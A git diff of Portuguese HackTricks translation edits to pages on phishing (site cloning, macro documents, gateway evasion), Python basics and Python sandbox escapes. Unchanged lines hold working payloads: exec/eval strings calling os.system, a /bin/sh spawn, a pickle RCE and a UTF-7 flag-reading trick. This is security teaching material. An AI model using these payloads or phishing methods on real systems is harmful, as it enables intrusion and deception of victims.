a/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md b/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md index 9563e036b..2e192f124 100644 --- a/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md +++ b/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -21,9 +21,9 @@ Aprenda e pratique GCP Hacking: ``` -## Kit de Engenharia Social +## Ferramenta de Engenharia Social ```bash #https://github.com/trustedsec/social-engineer-toolkit ``` @@ -42,17 +42,18 @@ goclone {% embed url="https://websec.nl/" %} + {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte o HackTricks +Supporte o HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md b/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md index 5287e6737..aafa4d153 100644 --- a/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md +++ b/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md @@ -19,16 +19,16 @@ Aprenda e pratique Hacking GCP: ) -No entanto, você pode fazer "o mesmo" usando o site gratuito [**crt.sh**](https://crt.sh). Você pode **procurar pela palavra-chave** e **filtrar** os resultados **por data e CA**, se desejar. +No entanto, você pode fazer "o mesmo" usando o site gratuito [**crt.sh**](https://crt.sh). Você pode **procurar pela palavra-chave** e **filtrar** os resultados **por data e CA** se desejar. ![](<../../.gitbook/assets/image (519).png>) diff --git a/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 5669273b7..8f93427f4 100644 --- a/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -27,7 +27,7 @@ Você pode usar o seguinte comando para verificar quais extensões serão execut ```bash assoc | findstr /i "word excel powerp" ``` -DOCX files referencing a remote template (Arquivo – Opções – Suplementos – Gerenciar: Modelos – Ir) that includes macros can “execute” macros as well. +DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well. ### Carregamento de Imagem Externa @@ -84,7 +84,7 @@ Vá para **Arquivo > Informações > Inspecionar Documento > Inspecionar Documen #### Extensão do Doc Quando terminar, selecione o dropdown **Salvar como tipo**, mude o formato de **`.docx`** para **Word 97-2003 `.doc`**.\ -Faça isso porque você **não pode salvar macros dentro de um `.docx`** e há um **estigma** **em torno** da extensão habilitada para macros **`.docm`** (por exemplo, o ícone da miniatura tem um enorme `!` e alguns gateways web/email os bloqueiam completamente). Portanto, esta **extensão `.doc` legada é o melhor compromisso**. +Faça isso porque você **não pode salvar macros dentro de um `.docx`** e há um **estigma** **em torno** da extensão habilitada para macros **`.docm`** (por exemplo, o ícone da miniatura tem um enorme `!` e alguns gateways web/email os bloqueiam completamente). Portanto, esta **extensão legada `.doc` é o melhor compromisso**. #### Geradores de Macros Maliciosas @@ -178,7 +178,7 @@ Aprenda e pratique Hacking GCP: -Support HackTricks +Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** diff --git a/generic-methodologies-and-resources/python/README.md b/generic-methodologies-and-resources/python/README.md index 9d27ae5ee..bebefe304 100644 --- a/generic-methodologies-and-resources/python/README.md +++ b/generic-methodologies-and-resources/python/README.md @@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -49,7 +49,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/generic-methodologies-and-resources/python/basic-python.md b/generic-methodologies-and-resources/python/basic-python.md index 1e1c1522c..797a23975 100644 --- a/generic-methodologies-and-resources/python/basic-python.md +++ b/generic-methodologies-and-resources/python/basic-python.md @@ -1,37 +1,37 @@ # Python Básico {% hint style="success" %} -Aprenda e pratique Hacking na AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} -## Conceitos Básicos de Python +## Fundamentos do Python -### Informações Úteis +### Informações úteis -list(xrange()) == range() --> No python3, range é o xrange do python2 (não é uma lista, mas um gerador)\ -A diferença entre uma Tupla e uma Lista é que a posição de um valor em uma tupla lhe dá significado, mas as listas são apenas valores ordenados. As tuplas têm estruturas, mas as listas têm uma ordem. +list(xrange()) == range() --> No python3 range é o xrange do python2 (não é uma lista, mas um gerador)\ +A diferença entre uma Tupla e uma Lista é que a posição de um valor em uma tupla lhe dá significado, mas as listas são apenas valores ordenados. Tuplas têm estruturas, mas listas têm uma ordem. -### Principais operações +### Operações principais Para elevar um número você usa: 3\*\*2 (não 3^2)\ -Se você fizer 2/3, ele retorna 1 porque está dividindo dois inteiros (int). Se você deseja decimais, deve dividir floats (2.0/3.0).\ +Se você fizer 2/3, retorna 1 porque você está dividindo dois ints (inteiros). Se você quiser decimais, deve dividir floats (2.0/3.0).\ i >= j\ i <= j\ i == j\ i != j\ -a and b\ -a or b\ +a e b\ +a ou b\ not a\ float(a)\ int(a)\ @@ -94,60 +94,60 @@ for letter in "hola": ``` ### Tuplas -t1 = (1, '2', 'três')\ -t2 = (5, 6)\ -t3 = t1 + t2 = (1, '2', 'três', 5, 6)\ +t1 = (1,'2,'three')\ +t2 = (5,6)\ +t3 = t1 + t2 = (1, '2', 'three', 5, 6)\ (4,) = Singleton\ d = () tupla vazia\ d += (4,) --> Adicionando em uma tupla\ NÃO PODE! --> t1\[1] == 'Novo valor'\ -list(t2) = \[5, 6] --> De tupla para lista +list(t2) = \[5,6] --> De tupla para lista ### Lista (array) -d = \[] vazio\ -a = \[1, 2, 3]\ -b = \[4, 5]\ -a + b = \[1, 2, 3, 4, 5]\ -b.append(6) = \[4, 5, 6]\ -tuple(a) = (1, 2, 3) --> De lista para tupla +d = \[] vazia\ +a = \[1,2,3]\ +b = \[4,5]\ +a + b = \[1,2,3,4,5]\ +b.append(6) = \[4,5,6]\ +tuple(a) = (1,2,3) --> De lista para tupla ### Dicionário d = {} vazio\ -monthNumbers={1:'Jan', 2: 'fev','fev':2}--> monthNumbers ->{1:'Jan', 2: 'fev','fev':2}\ -monthNumbers\[1] = 'Jan'\ -monthNumbers\['fev'] = 2\ -list(monthNumbers) = \[1, 2, 'fev']\ -monthNumbers.values() = \['Jan', 'fev', 2]\ +monthNumbers={1:’Jan’, 2: ‘feb’,’feb’:2}—> monthNumbers ->{1:’Jan’, 2: ‘feb’,’feb’:2}\ +monthNumbers\[1] = ‘Jan’\ +monthNumbers\[‘feb’] = 2\ +list(monthNumbers) = \[1,2,’feb’]\ +monthNumbers.values() = \[‘Jan’,’feb’,2]\ keys = \[k for k in monthNumbers]\ a={'9':9}\ -monthNumbers.update(a) = {'9':9, 1:'Jan', 2: 'fev','fev':2}\ +monthNumbers.update(a) = {'9':9, 1:’Jan’, 2: ‘feb’,’feb’:2}\ mN = monthNumbers.copy() #Cópia independente\ -monthNumbers.get('chave',0) #Verifica se a chave existe, Retorna o valor de monthNumbers\["chave"] ou 0 se não existir +monthNumbers.get('key',0) #Verifica se a chave existe, Retorna o valor de monthNumbers\["key"] ou 0 se não existir ### Conjunto -Nos conjuntos não há repetições\ +Em conjuntos não há repetições\ myset = set(\['a', 'b']) = {'a', 'b'}\ myset.add('c') = {'a', 'b', 'c'}\ myset.add('a') = {'a', 'b', 'c'} #Sem repetições\ -myset.update(\[1, 2, 3]) = set(\['a', 1, 2, 'b', 'c', 3])\ +myset.update(\[1,2,3]) = set(\['a', 1, 2, 'b', 'c', 3])\ myset.discard(10) #Se presente, remove, se não, nada\ -myset.remove(10) #Se presente, remove, se não, gera exceção\ +myset.remove(10) #Se presente remove, se não, levanta exceção\ myset2 = set(\[1, 2, 3, 4])\ -myset.union(myset2) #Valores em myset OU myset2\ +myset.union(myset2) #Valores que estão em myset OU myset2\ myset.intersection(myset2) #Valores em myset E myset2\ myset.difference(myset2) #Valores em myset mas não em myset2\ myset.symmetric\_difference(myset2) #Valores que não estão em myset E myset2 (não em ambos)\ -myset.pop() #Obtém o primeiro elemento do conjunto e remove\ +myset.pop() #Obtém o primeiro elemento do conjunto e o remove\ myset.intersection\_update(myset2) #myset = Elementos em ambos myset e myset2\ myset.difference\_update(myset2) #myset = Elementos em myset mas não em myset2\ myset.symmetric\_difference\_update(myset2) #myset = Elementos que não estão em ambos ### Classes -O método em \_\_It\_\_ será o utilizado pelo sort para comparar se um objeto desta classe é maior que outro +O método em \_\_It\_\_ será o utilizado por sort para comparar se um objeto desta classe é maior que outro ```python class Person(name): def __init__(self,name): @@ -180,13 +180,13 @@ return self.idNum < other.idNum **Map** é como: \[f(x) for x in iterable] --> map(tutple,\[a,b]) = \[(1,2,3),(4,5)]\ m = map(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) --> \[False, False, True, False, False, True, False, False, True] -**zip** para quando o mais curto entre foo ou bar para: +**zip** para quando o mais curto de foo ou bar para: ``` for f, b in zip(foo, bar): print(f, b) ``` **Lambda** é usado para definir uma função\ -(lambda x,y: x+y)(5,3) = 8 --> Use lambda como uma **função** simples\ +(lambda x,y: x+y)(5,3) = 8 --> Use lambda como uma **função**\ **sorted**(range(-5,6), key=lambda x: x\*\* 2) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5] --> Use lambda para ordenar uma lista\ m = **filter**(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) = \[3, 6, 9] --> Use lambda para filtrar\ **reduce** (lambda x,y: x\*y, \[1,2,3,4]) = 24 @@ -200,12 +200,10 @@ class Car: crash = lambda self: print('Boom!') my_car = Car(); my_car.crash() = 'Boom!' ``` -```python mult1 = \[x for x in \[1, 2, 3, 4, 5, 6, 7, 8, 9] if x%3 == 0 ] ### Exceções ``` -``` def divide(x,y): try: result = x/y @@ -220,7 +218,7 @@ print “executing finally clause in any case” ``` ### Assert() -Se a condição for falsa, a string será impressa na tela +Se a condição for falsa, a string será impressa na tela. ``` def avg(grades, weights): assert not len(grades) == 0, 'no grades data' @@ -228,13 +226,12 @@ assert len(grades) == 'wrong number grades' ``` ### Geradores, yield -Um gerador, ao invés de retornar algo, "cede" algo. Quando você o acessa, ele irá "retornar" o primeiro valor gerado e, em seguida, você pode acessá-lo novamente e ele irá retornar o próximo valor gerado. Portanto, todos os valores não são gerados ao mesmo tempo e muita memória pode ser economizada usando isso em vez de uma lista com todos os valores. +Um gerador, em vez de retornar algo, "produz" algo. Quando você o acessa, ele "retorna" o primeiro valor gerado, então, você pode acessá-lo novamente e ele retornará o próximo valor gerado. Assim, todos os valores não são gerados ao mesmo tempo e muita memória pode ser economizada usando isso em vez de uma lista com todos os valores. ``` def myGen(n): yield n yield n + 1 ``` -```markdown g = myGen(6) --> 6\ next(g) --> 7\ next(g) --> Erro @@ -246,50 +243,49 @@ re.search("\w","hola").group() = "h"\ re.findall("\w","hola") = \['h', 'o', 'l', 'a']\ re.findall("\w+(la)","hola caracola") = \['la', 'la'] -**Significados Especiais:**\ +**Significados especiais:**\ . --> Tudo\ \w --> \[a-zA-Z0-9\_]\ \d --> Número\ \s --> Caractere de espaço em branco\[ \n\r\t\f]\ -\S --> Caractere que não é espaço em branco\ +\S --> Caractere não branco\ ^ --> Começa com\ $ --> Termina com\ \+ --> Um ou mais\ \* --> 0 ou mais\ -? --> 0 ou 1 ocorrência +? --> 0 ou 1 ocorrências **Opções:**\ re.search(pat,str,re.IGNORECASE)\ IGNORECASE\ -DOTALL --> Permite que o ponto corresponda a uma nova linha\ +DOTALL --> Permite que o ponto corresponda a nova linha\ MULTILINE --> Permite que ^ e $ correspondam em linhas diferentes re.findall("<.\*>", "\foo\and\so on\") = \['\foo\and\so on\']\ re.findall("<.\*?>", "\foo\and\so on\") = \['\', '\', '\', '\'] IterTools\ -**product**\ +**produto**\ from **itertools** import product --> Gera combinações entre 1 ou mais listas, talvez repetindo valores, produto cartesiano (propriedade distributiva)\ print list(**product**(\[1,2,3],\[3,4])) = \[(1, 3), (1, 4), (2, 3), (2, 4), (3, 3), (3, 4)]\ print list(**product**(\[1,2,3],repeat = 2)) = \[(1, 1), (1, 2), (1, 3), (2, 1), (2, 2), (2, 3), (3, 1), (3, 2), (3, 3)] **permutations**\ from **itertools** import **permutations** --> Gera combinações de todos os caracteres em cada posição\ -print list(permutations(\['1','2','3'])) = \[('1', '2', '3'), ('1', '3', '2'), ('2', '1', '3'),... Todas as combinações possíveis\ -print(list(permutations('123',2))) = \[('1', '2'), ('1', '3'), ('2', '1'), ('2', '3'), ('3', '1'), ('3', '2')] Todas as combinações possíveis de comprimento 2 +print list(permutations(\['1','2','3'])) = \[('1', '2', '3'), ('1', '3', '2'), ('2', '1', '3'),... Cada combinação possível\ +print(list(permutations('123',2))) = \[('1', '2'), ('1', '3'), ('2', '1'), ('2', '3'), ('3', '1'), ('3', '2')] Cada combinação possível de comprimento 2 **combinations**\ from itertools import **combinations** --> Gera todas as combinações possíveis sem repetir caracteres (se "ab" existir, não gera "ba")\ print(list(**combinations**('123',2))) --> \[('1', '2'), ('1', '3'), ('2', '3')] **combinations\_with\_replacement**\ -from itertools import **combinations\_with\_replacement** --> Gera todas as combinações possíveis a partir do caractere em diante (por exemplo, o 3º é misturado a partir do 3º em diante, mas não com o 2º ou o primeiro)\ +from itertools import **combinations\_with\_replacement** --> Gera todas as combinações possíveis a partir do caractere (por exemplo, o 3º é misturado a partir do 3º, mas não com o 2º ou 1º)\ print(list(**combinations\_with\_replacement**('1133',2))) = \[('1', '1'), ('1', '1'), ('1', '3'), ('1', '3'), ('1', '1'), ('1', '3'), ('1', '3'), ('3', '3'), ('3', '3'), ('3', '3')] ### Decoradores -Decorador que mede o tempo que uma função precisa para ser executada (de [aqui](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)): -``` +Decorator que mede o tempo que uma função leva para ser executada (de [aqui](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)): ```python from functools import wraps import time @@ -307,23 +303,23 @@ return wrapper def decorated_func(): print("Decorated func!") ``` -Se você executar, verá algo como o seguinte: +Se você executá-lo, verá algo como o seguinte: ``` Let's call our decorated function Decorated func! Execution time: 4.792213439941406e-05 seconds ``` {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md b/generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md index 6d015fbc6..638f1feeb 100644 --- a/generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md +++ b/generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -63,16 +63,16 @@ return 0 main() ``` {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Supporte o HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index ad8c3c69f..cf4c6a1d5 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -1,16 +1,16 @@ # Bypass Python sandboxes {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} @@ -66,7 +66,7 @@ Lembre-se de que as funções _**open**_ e _**read**_ podem ser úteis para **le A função **input()** do Python2 permite executar código python antes que o programa falhe. {% endhint %} -O Python tenta **carregar bibliotecas do diretório atual primeiro** (o comando a seguir imprimirá de onde o python está carregando módulos): `python3 -c 'import sys; print(sys.path)'` +O Python tenta **carregar bibliotecas do diretório atual primeiro** (o comando a seguir imprimirá de onde o python está carregando os módulos): `python3 -c 'import sys; print(sys.path)'` ![](<../../../.gitbook/assets/image (559).png>) @@ -89,7 +89,7 @@ return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` -Para mais informações sobre como o pickle funciona, confira isto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) +Para mais informações sobre como o pickle funciona, confira isso: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) ### Pacote Pip @@ -111,10 +111,10 @@ Este pacote é chamado `Reverse`. No entanto, ele foi especialmente elaborado pa ## Avaliando código python {% hint style="warning" %} -Note que exec permite strings multilinha e ";", mas eval não permite (ver operador walrus) +Note que exec permite strings multilinha e ";", mas eval não permite (ver operador morsa) {% endhint %} -Se certos caracteres forem proibidos, você pode usar a representação **hex/octal/B64** para **burlar** a restrição: +Se certos caracteres forem proibidos, você pode usar a representação **hex/octal/B64** para **bypass** a restrição: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -158,7 +158,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval'] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` -## Bypassing protections through encodings (UTF-7) +## Bypassando proteções através de codificações (UTF-7) Em [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy), o UFT-7 é usado para carregar e executar código python arbitrário dentro de uma aparente sandbox: ```python @@ -171,7 +171,7 @@ return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` -Também é possível contorná-lo usando outras codificações, por exemplo, `raw_unicode_escape` e `unicode_escape`. +É também possível contornar isso usando outras codificações, por exemplo, `raw_unicode_escape` e `unicode_escape`. ## Execução do Python sem chamadas @@ -337,8 +337,8 @@ __builtins__.__dict__['__import__']("os").system("ls") ``` ### Sem Builtins -Quando você não tem `__builtins__`, não será capaz de importar nada nem mesmo ler ou escrever arquivos, pois **todas as funções globais** (como `open`, `import`, `print`...) **não estão carregadas**.\ -No entanto, **por padrão, o python importa muitos módulos na memória**. Esses módulos podem parecer benignos, mas alguns deles **também importam funcionalidades perigosas** dentro deles que podem ser acessadas para obter até mesmo **execução de código arbitrário**. +Quando você não tem `__builtins__`, você não conseguirá importar nada nem mesmo ler ou escrever arquivos, pois **todas as funções globais** (como `open`, `import`, `print`...) **não estão carregadas**.\ +No entanto, **por padrão, o python importa muitos módulos na memória**. Esses módulos podem parecer benignos, mas alguns deles **também estão importando funcionalidades perigosas** dentro deles que podem ser acessadas para obter até mesmo **execução de código arbitrário**. Nos exemplos a seguir, você pode observar como **abusar** de alguns desses módulos "**benignos**" carregados para **acessar** **funcionalidades** **perigosas** dentro deles. @@ -432,7 +432,7 @@ Aqui quero explicar como descobrir facilmente **funcionalidades mais perigosas c #### Acessando subclasses com bypasses -Uma das partes mais sensíveis desta técnica é ser capaz de **acessar as subclasses base**. Nos exemplos anteriores, isso foi feito usando `''.__class__.__base__.__subclasses__()` mas há **outras maneiras possíveis**: 